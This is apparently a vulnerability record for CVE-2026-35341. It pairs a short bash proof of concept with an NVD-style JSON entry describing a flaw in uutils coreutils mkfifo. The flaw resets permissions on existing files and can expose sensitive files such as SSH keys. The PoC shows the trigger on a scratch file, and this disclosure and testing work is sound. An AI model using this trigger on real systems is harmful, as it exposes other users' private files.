CVE-2026-35341

#!/bin/bash # PoC for CVE-2026-35341: Permission modification via mkfifo # 1. Create a sensitive file with restrictive permissions (e.g., SSH key) touch /tmp/target_file chmod 600 /tmp/target_file echo "Initial permissions:" ls -l /tmp/target_file # 2. Execute the vulnerable mkfifo command on the existing file # This simulates a user or script attempting to create a FIFO mkfifo /tmp/target_file # 3. Check the permissions after the command echo "Permissions after mkfifo:" ls -l /tmp/target_file # Expected result on vulnerable version: Permissions change to 644 (or umask default) # making the file readable by others/group.

{"cve": {"id": "CVE-2026-35341", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:36.060", "lastModified": "2026-04-24T19:05:55.067", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in uutils coreutils mkfifo allows for the unauthorized modification of permissions on existing files. When mkfifo fails to create a FIFO because a file already exists at the target path, it fails to terminate the operation for that path and continues to execute a follow-up set_permissions call. This results in the existing file's permissions being changed to the default mode (often 644 after umask), potentially exposing sensitive files such as SSH private keys to other users on the system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uutils:coreutils:-:*:*:*:*:rust:*:*", "matchCriteriaId": "4A9AF9E4-E17C-48AD-8051-B49998618839"}]}]}], "references": [{"url": "https://github.com/uutils/coreutils/issues/10020", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}